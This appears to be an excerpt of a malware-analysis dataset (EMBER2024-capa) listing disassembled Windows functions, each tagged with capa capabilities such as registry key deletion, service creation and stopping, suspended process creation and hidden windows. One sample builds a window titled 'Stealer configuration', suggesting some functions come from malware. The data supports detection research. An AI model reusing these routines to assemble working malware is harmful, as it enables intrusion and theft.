joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45e0d0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 8]
push eax
push 0x10008
push esi
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x45e159
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
mov dword [ebp - 0x110], 0x104
push eax
lea eax, [ebp - 0x108]
push eax
push 0
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
je 0x45e16e
test eax, eax
jne 0x45e16e
push esi
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x10c]
call fcn.0045e0d0
cmp eax, 1
je 0x45e108
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret 0xc
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x45e159
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004606ac
mov esp, ebp
pop ebp
ret 0xc

Function at 0x45e350
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0x10c], eax
xor edi, edi
push ebx
push esi
call fcn.0045df30
add esp, 0x10
lea eax, [ebp - 0x108]
push 0x104
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x45e434
lea eax, [ebp - 0x110]
push eax
push 0x20019
push dword [ebp + 0x18]
lea eax, [ebp - 0x108]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x45e45b
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x45e45b
push dword [ebp + 0x18]
push dword [ebp - 0x10c]
push dword [ebp + 0x10]
push dword [ebp - 0x114]
push dword [ebp - 0x110]
call fcn.0045e350
add esp, 0x14
cmp eax, 1
jne 0x45e453
push dword [ebp - 0x10c]
inc edi
push dword [ebp + 0x10]
push ebx
push esi
call fcn.0045df30
add esp, 0x10
lea eax, [ebp - 0x108]
push 0x104
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x45e3a1
mov edi, 1
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004606ac
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x110]
jmp 0x45e439
xor edi, edi
jmp 0x45e439
Function at 0x45ea80
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x98
lea eax, [ebp - 0x9c]
push 0
push eax
call fcn.004644e0
add esp, 0xc
mov dword [ebp - 0xa0], 0x9c
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x45eadd
cmp dword [ebp - 0x9c], 6
jb 0x45eadd
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret

Function at 0x45eb50
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x10]
push esi
push eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], 0x44
push eax
push 0
push 0
mov eax, ebx
xorps xmm0, xmm0
and eax, 4
movlpd qword [ebp - 0x50], xmm0
shl eax, 0x16
or eax, 0x20
movlpd qword [ebp - 0x48], xmm0
push eax
push 0
push 0
push 0
push dword [ebp + 8]
movlpd qword [ebp - 0x40], xmm0
push 0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
movlpd qword [ebp - 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
test esi, esi
je 0x45ec19
test bl, 1
je 0x45ebd6
push 0x1d4c0
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
mov esi, eax
neg esi
sbb esi, esi
inc esi
test bl, 2
je 0x45ebe6
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x45ec05
mov eax, dword [ebp - 0x10]
push dword [ebp - 0xc]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x45eca0
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x45ecd0
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x410]
mov dword [ebp - 0x40c], 0
push eax
push 0x20008
mov word [ebp - 0x408], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x45ede1
lea eax, [ebp - 0x418]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push 2
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
push dword [ebp - 0x410]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x45ede1
lea eax, [ebp - 0x414]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x45ede1
push edi
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x404], esi
jbe 0x45edc3
nop word [eax + eax]
push dword [ebp + esi*8 - 0x400]
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x45edbe
inc esi
cmp esi, dword [ebp - 0x404]
jb 0x45ed80
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret
mov edi, 1
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, edi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004606ac
mov esp, ebp
pop ebp
ret
Function at 0x45ee00
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov byte [ebx], 2
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x45ee38
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret
push esi
lea eax, [ebp - 0x414]
mov dword [ebp - 0x40c], 0
push eax
push 0x20008
mov word [ebp - 0x408], 0x500
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x45ef6e
lea eax, [ebp - 0x41c]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push 2
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov esi, eax
mov dword [ebp - 0x410], 2
lea eax, [ebp - 0x420]
push eax
push 4
lea eax, [ebp - 0x410]
push eax
push 0x12
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [ebp - 0x410]
test eax, eax
push dword [ebp - 0x414]
mov edx, 2
cmove ecx, edx
mov dword [ebp - 0x410], ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x45ef6e
lea eax, [ebp - 0x418]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x45ef6e
push edi
xor esi, esi
xor edi, edi
cmp dword [ebp - 0x404], esi
jbe 0x45ef47
nop dword [eax]
push dword [ebp + esi*8 - 0x400]
push dword [ebp - 0x418]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x45ef42
inc esi
cmp esi, dword [ebp - 0x404]
jb 0x45ef20
jmp 0x45ef47
mov edi, 1
push dword [ebp - 0x418]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov cl, byte [ebp - 0x410]
mov eax, edi
pop edi
pop esi
mov byte [ebx], cl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.004606ac
mov esp, ebp
pop ebp
ret
Function at 0x45efd0
Capabilities:
Query service configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push closesocket
mov dword [ebp - 0x90], eax
xor esi, esi
mov dword [eax], 0
call fcn.0045efb0
add esp, 4
mov edi, eax
mov dword [ebp - 0x8c], edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
test edi, edi
jne 0x45f034
push eax
lea eax, [ebp - 0x84]
push str.OpenNTServiceManager_Failed:_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x45f10a
push 1
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
jne 0x45f065
push eax
lea eax, [ebp - 0x84]
push str.OpenService_Failed:_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x45f103
lea eax, [ebp - 0x88]
mov dword [ebp - 0x88], esi
push eax
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
mov eax, dword [ebp - 0x88]
test eax, eax
je 0x45f0fc
add eax, 0x400
push eax
call fcn.00460a14
mov edi, eax
add esp, 4
test edi, edi
je 0x45f0f6
mov ecx, dword [ebp - 0x88]
lea eax, [ebp - 0x88]
push eax
add ecx, 0x400
push ecx
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test esi, esi
jne 0x45f0db
push eax
lea eax, [ebp - 0x84]
push str.QueryServiceConfig_Failed:_d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x45f0eb
mov ecx, dword [ebp - 0x90]
mov esi, 1
mov eax, dword [edi + 4]
mov dword [ecx], eax
push 0x24
push edi
call fcn.004609d1
add esp, 8
mov edi, dword [ebp - 0x8c]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004606ac
mov esp, ebp
pop ebp
ret 8

Function at 0x45f120
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
push closesocket
mov dword [ebp - 0x24], eax
call fcn.0045efb0
mov esi, eax
add esp, 4
test esi, esi
je 0x45f165
push 4
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x45f179
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret 8
push ebx
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov ebx, eax
test ebx, ebx
je 0x45f198
mov ecx, dword [ebp - 0x24]
mov ebx, 1
mov eax, dword [ebp - 0x1c]
mov dword [ecx], eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.004606ac
mov esp, ebp
pop ebp
ret 8
Function at 0x45f1c0
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
push closesocket
mov dword [ebp - 0x28], eax
call fcn.0045efb0
mov esi, eax
add esp, 4
test esi, esi
je 0x45f20b
push 4
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x45f21f
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret 0xc
push ebx
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov ebx, eax
test ebx, ebx
je 0x45f246
mov ecx, dword [ebp - 0x24]
mov ebx, 1
mov eax, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.004606ac
mov esp, ebp
pop ebp
ret 0xc

Function at 0x45f270
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call fcn.0045f570
test eax, eax
je 0x45f28b
mov eax, 1
pop esi
pop ebp
ret 0x18
push edi
push 0xf003f
call fcn.0045efb0
add esp, 4
mov edi, eax
push 0
test edi, edi
jne 0x45f2b6
push esi
push str.Couldnt_open_service_manager
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
xor eax, eax
pop esi
pop ebp
ret 0x18
push 0
push dword [ebp + 0x1c]
push 0
push 0
push dword [ebp + 0x10]
push 1
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push 0xf01ff
push dword [ebp + 0xc]
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
jne 0x45f2fd
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
push esi
push str.Couldnt_create_service
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
xor eax, eax
pop esi
pop ebp
ret 0x18
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov eax, 1
pop esi
pop ebp
ret 0x18
Function at 0x45f6f0
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x4d044c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
push 0xf003f
call fcn.0045efb0
mov esi, eax
add esp, 4
test esi, esi
jne 0x45f72a
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret 4
push ebx
push 0xf01ff
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
jne 0x45f75a
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop ebx
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004606ac
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x20]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, eax
test edi, edi
jne 0x45f775
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x45f77a
mov edi, 1
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.004606ac
mov esp, ebp
pop ebp
ret 4

Function at 0x45fc70
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x45fc9b
movzx ecx, byte [edx]
lea edx, [edx + 1]
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x4d0040]
sub esi, 1
jne 0x45fc81
pop esi
pop ebp
ret 0xc

Function at 0x4a03cc
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0049ffd1

Function at 0x4a03d7
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004a0152

Function at 0x4a261f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004a1e0f

Function at 0x4a262a
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004a204a

Function at 0x4a3257
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004a2fde
Function at 0x17cb570b
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x17cb5746
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x17cb572d
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x17cb573e
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x17cb5748
inc edi
add eax, 0x28
cmp edi, esi
jb 0x17cb5723
xor eax, eax
pop edi
pop esi
ret

Function at 0x17cc1b1d
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0xffffffff
push esi
mov esi, ecx
jbe 0x17cc1b3a
push 0x800705b6
call fcn.17ce54ec
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x17cc1b97
push edi
call fcn.17ce51cd
mov edi, eax
mov eax, dword [0x17d26008]
cmp eax, 0x17d26008
je 0x17cc1b8f
test byte [eax + 0x1c], 1
je 0x17cc1b8f
cmp dword [esi + 0x20], 8
jb 0x17cc1b78
mov esi, dword [esi + 0xc]
jmp 0x17cc1b7b
add esi, 0xc
push edi
push esi
push 0x17c93050
push 0x18
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.17ca2bb0
test edi, edi
jge 0x17cc1b96
push edi
jmp 0x17cc1b35
pop edi
pop esi
leave
ret 8

Function at 0x17cc1c98
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
push esi
mov esi, ecx
mov eax, dword [esi]
push edi
cmp eax, 0xffffffff
jne 0x17cc1d0f
cmp dword [esi + 0x1c], 8
jb 0x17cc1cb7
mov eax, dword [esi + 8]
jmp 0x17cc1cba
lea eax, [esi + 8]
lea edi, [esi + 0x20]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x17cc1d61
call fcn.17ce51cd
mov ecx, dword [0x17d26008]
cmp ecx, 0x17d26008
je 0x17cc1d0b
test byte [ecx + 0x1c], 1
je 0x17cc1d0b
cmp dword [esi + 0x1c], 8
jb 0x17cc1cf4
mov esi, dword [esi + 8]
jmp 0x17cc1cf7
add esi, 8
push eax
push esi
push 0x17c93050
push 0x22
push dword [ecx + 0x14]
push dword [ecx + 0x10]
call fcn.17ca2bb0
xor eax, eax
jmp 0x17cc1d68
lea edi, [esi + 0x20]
push edi
push eax
call ebx
test eax, eax
jne 0x17cc1d61
call fcn.17ce51cd
mov esi, eax
cmp esi, 0x80070012
je 0x17cc1d0b
mov eax, dword [0x17d26008]
cmp eax, 0x17d26008
je 0x17cc1d4e
test byte [eax + 0x1c], 1
je 0x17cc1d4e
push esi
push 0x17c93050
push 0x23
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.17ca2c24
test esi, esi
jge 0x17cc1d0b
push esi
call fcn.17ce54ec
push edi
push dword [esi]
call ebx
test eax, eax
je 0x17cc1d6c
test byte [edi], 0x10
jne 0x17cc1d58
mov eax, edi
pop edi
pop esi
pop ebx
ret
call fcn.17ce51cd
mov esi, eax
cmp esi, 0x80070012
je 0x17cc1d0b
mov eax, dword [0x17d26008]
cmp eax, 0x17d26008
je 0x17cc1d4e
test byte [eax + 0x1c], 1
je 0x17cc1d4e
push esi
push 0x17c93050
push 0x24
jmp 0x17cc1d43
Function at 0x17d107b0
Capabilities:
Get file version info

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
lea eax, [ebp - 4]
push eax
push ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov esi, eax
test esi, esi
jne 0x17d10803
call fcn.17ce51cd
mov esi, eax
mov eax, dword [0x17d26008]
cmp eax, 0x17d26008
je 0x17d107fc
test byte [eax + 0x1c], 2
je 0x17d107fc
push esi
push ebx
push 0x17c9920c
push 0xa
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.17ca2bb0
mov eax, esi
jmp 0x17d10887
and dword [ebp + 0xc], 0
push edi
push esi
lea eax, [ebp + 0xc]
push eax
call fcn.17ce7b44
mov edi, eax
test edi, edi
jge 0x17d1082b
cmp dword [ebp + 0xc], 0
je 0x17d10827
push dword [ebp + 0xc]
call fcn.17ce425d
pop ecx
mov eax, edi
jmp 0x17d10886
push dword [ebp + 0xc]
push esi
push dword [ebp - 4]
push ebx
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
jne 0x17d1087c
call fcn.17ce51cd
mov esi, eax
mov eax, dword [0x17d26008]
cmp eax, 0x17d26008
je 0x17d10869
test byte [eax + 0x1c], 1
je 0x17d10869
push esi
push ebx
push 0x17c9920c
push 0xb
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.17ca2bb0
cmp dword [ebp + 0xc], 0
je 0x17d10878
push dword [ebp + 0xc]
call fcn.17ce425d
pop ecx
mov eax, esi
jmp 0x17d10886
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax], ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4011d0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
jmp 0x4011e8
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jae 0x40128c
mov edx, dword [ebp - 4]
sub edx, 0x231d
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
movzx edx, word [ecx + eax*2 + 0x463a]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
shr eax, 0xc
cmp eax, 3
jne 0x401287
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401680
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
jne 0x401246
push 0x154b
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
je 0x401246
xor eax, eax
jmp 0x40128c
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax - 0x4c3f8]
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx]
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + edx]
add ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x18]
mov eax, dword [edx]
mov edx, dword [ebp + 0x10]
mov dword [edx + eax], ecx
mov eax, dword [ebp - 8]
sub eax, 0x4c3f8
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx]
sub edx, eax
mov eax, dword [ebp + 0x18]
mov dword [eax], edx
jmp 0x4011df
mov esp, ebp
pop ebp
ret
Function at 0x401100
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
mov eax, dword [0x418004]
xor eax, esp
mov dword [esp + 0x64], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0x7f00
push 0
mov dword [esp + 0x10], esi
mov dword [esp + 0x20], 0
mov dword [esp + 0x14], 0x30
mov dword [esp + 0x24], 0
mov dword [esp + 0x34], 5
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [esp + 0x28], eax
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x28], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x24], esi
mov dword [esp + 0x18], 0x4012a0
mov dword [esp + 0x38], str.Window_Class
mov dword [esp + 0x34], 0
mov dword [esp + 0x14], 3
call dword [sym.imp.USER32.dll_RegisterClassExA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.USER32.dll_MessageBoxA]
test ax, ax
jne 0x4011b0
call esi
push 0x10
push str.Window_Class_Failed
push str.Window_class_creation_failed_r_n
push 0
call edi
push 0
push dword [esp + 0xc]
push 0
push 0
push 0x12c
push 0x384
push 0xc8
push 0xc8
push 0xcf0000
push str._Stealer_configuration
push str.Window_Class
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [esp + 8], eax
test eax, eax
jne 0x401203
call esi
push 0x10
push str.Window_Creation_Failed
push str.Window_creation_failed_r_n
push 0
call edi
mov eax, dword [esp + 8]
push dword [ebp + 0x14]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push section..text
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
xorps xmm0, xmm0
mov dword [esp + 0x60], 0
push 0
lea eax, [esp + 0x4c]
movaps xmmword [esp + 0x4c], xmm0
push eax
movq qword [esp + 0x60], xmm0
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401283
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
nop dword [eax]
lea eax, [esp + 0x40]
push eax
call esi
lea eax, [esp + 0x40]
push eax
call edi
push 0
push 0
push 0
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401260
mov ecx, dword [esp + 0x6c]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.004015f0
mov esp, ebp
pop ebp
ret 0x10